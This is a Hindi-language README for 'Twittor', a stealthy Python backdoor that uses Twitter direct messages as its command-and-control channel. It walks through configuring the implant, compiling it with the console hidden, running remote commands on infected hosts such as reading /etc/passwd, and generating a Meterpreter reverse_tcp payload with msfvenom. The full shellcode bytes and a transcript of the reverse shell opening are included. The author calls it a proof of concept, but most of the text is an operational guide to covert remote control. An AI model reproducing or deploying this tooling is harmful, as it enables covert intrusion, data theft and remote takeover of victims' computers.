
एक पूर्ण विशेषताओं वाला बैकडोर जो ट्विटर को C&C सर्वर के रूप में उपयोग करता है
एक चुपके से पायथन-आधारित बैकडोर जो ट्विटर (डायरेक्ट मैसेज) को कमांड और कंट्रोल सर्वर के रूप में उपयोग करता है यह प्रोजेक्ट Gcat से प्रेरित है जो वही काम करता है लेकिन Gmail खाते का उपयोग करके।
इसके काम करने के लिए आपको चाहिए:
निर्भरताएँ स्थापित करें:
$ pip install -r requirements.txt
इस रेपो में दो फाइलें हैं:
twittor.py जो क्लाइंट हैimplant.py वास्तविक बैकडोर तैनात करने के लिएदोनों फाइलों में, एक्सेस टोकन भाग को संपादित करें और वे जोड़ें जो आपने पहले जेनरेट किए थे:
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
आप शायद implant.py को Pyinstaller का उपयोग करके एक निष्पादन योग्य में संकलित करना चाहेंगे।
Pyinstaller के साथ संकलित करते समय कंसोल को हटाने के लिए, --noconsole --onefile फ्लैग मदद करेंगे। बस इतना कह रहा हूँ।
क्लाइंट चलाने के लिए, स्क्रिप्ट लॉन्च करें।
$ python twittor.py
फिर आप एक 'इंटरैक्टिव' शेल में पहुँच जाएंगे जो कुछ कमांड प्रदान करता है:
$ help
refresh - C&C नियंत्रण रीफ्रेश करें
list_bots - सक्रिय बॉट सूचीबद्ध करें
list_commands - निष्पादित कमांड सूचीबद्ध करें
!retrieve <jobid> - jobid कमांड पुनर्प्राप्त करें
!cmd <MAC ADDRESS> कमांड - बॉट पर कमांड निष्पादित करें
!shellcode <MAC ADDRESS> शेलकोड - मेमोरी में शेलकोड लोड और निष्पादित करें (केवल Windows)
help - यह उपयोग प्रिंट करें
exit - क्लाइंट से बाहर निकलें
$
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$
आउटपुट MAC पता है जो सिस्टम की विशिष्ट पहचान करता है लेकिन आपको OS जानकारी भी देता है जिस पर इम्प्लांट चल रहा है। इस मामले में एक Linux बॉक्स।
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$
यहाँ हम B7:76:1F:0B:50:B7 को cat /etc/passwd निष्पादित करने के लिए कह रहे हैं, स्क्रिप्ट फिर jobid आउटपुट करती है जिसका उपयोग हम उस कमांड के आउटपुट को पुनर्प्राप्त करने के लिए कर सकते हैं।
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)
इस मामले में उपयोग करने का कमांड !retrieve है जिसके बाद कमांड से jobid आता है।
नए बॉट/कमांड आउटपुट प्राप्त करने के लिए लेकिन क्लाइंट को परिणाम रीफ्रेश करने के लिए भी, refresh कमांड का उपयोग करें।
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$
यह एक PING अनुरोध भेजेगा और उनके उत्तर देने के लिए 10 सेकंड प्रतीक्षा करेगा।
डायरेक्ट मैसेज तब पार्स किए जाएंगे - बॉट सूची रीफ्रेश होगी लेकिन कमांड सूची भी, जिसमें नए कमांड आउटपुट शामिल होंगे।
जैसा कि मैंने पहले कहा, (पिछले) कमांड पुराने डायरेक्ट मैसेज (सीमा 200 है) से पुनर्प्राप्त किए जाएंगे और आप वास्तव में उन्हें list_commands कमांड का उपयोग करके पुनर्प्राप्त/देख सकते हैं
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
यह विकल्प मीटरप्रीटर सत्र प्राप्त करने के लिए उपयोगी हो सकता है और यह लेख वास्तव में उपयोगी हो जाता है।
अपना मीटरप्रीटर शेलकोड जनरेट करें, जैसे:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
शेलकोड निकालें और इसे !shellcode कमांड का उपयोग करके निर्दिष्ट बॉट पर भेजें!
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$
और देखिए!
msf exploit(handler) > exploit
[*] Started reverse handler on 10.0.0.1:3615
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400
meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec
एक बीयर खोलें और अपने रिवर्स मीटरप्रीटर शेल का आनंद लें।
प्रोजेक्ट पूरी तरह से ओपन सोर्स है और MIT लाइसेंस के तहत जारी किया गया है। मैं मुख्य रूप से एक PoC बनाना चाहता था जब ट्विटर ने डायरेक्ट मैसेज के लिए 140 वर्णों की सीमा हटाने का निर्णय लिया। कुछ चीजें जोड़ी जानी चाहिए जैसे एन्क्रिप्शन (इसके ऊपर AES जोड़ना)। "Messages" एक शब्दकोश डेटा संरचना का उपयोग कर रहे हैं और पूरा कमांड केवल base64 एन्कोडेड है। प्रोजेक्ट को फोर्क करें, योगदान दें, पुल रिक्वेस्ट सबमिट करें, और मज़े करें।
यदि आपको कोई बग मिलता है, तो Github पर एक issue खोलें और/या मुझे Twitter पर पिंग करें।
फिर से, byt3bl33d3r के अद्भुत Gcat प्रोजेक्ट को देखने के लिए स्वतंत्र महसूस करें जिसने मुझे बहुत प्रेरित किया।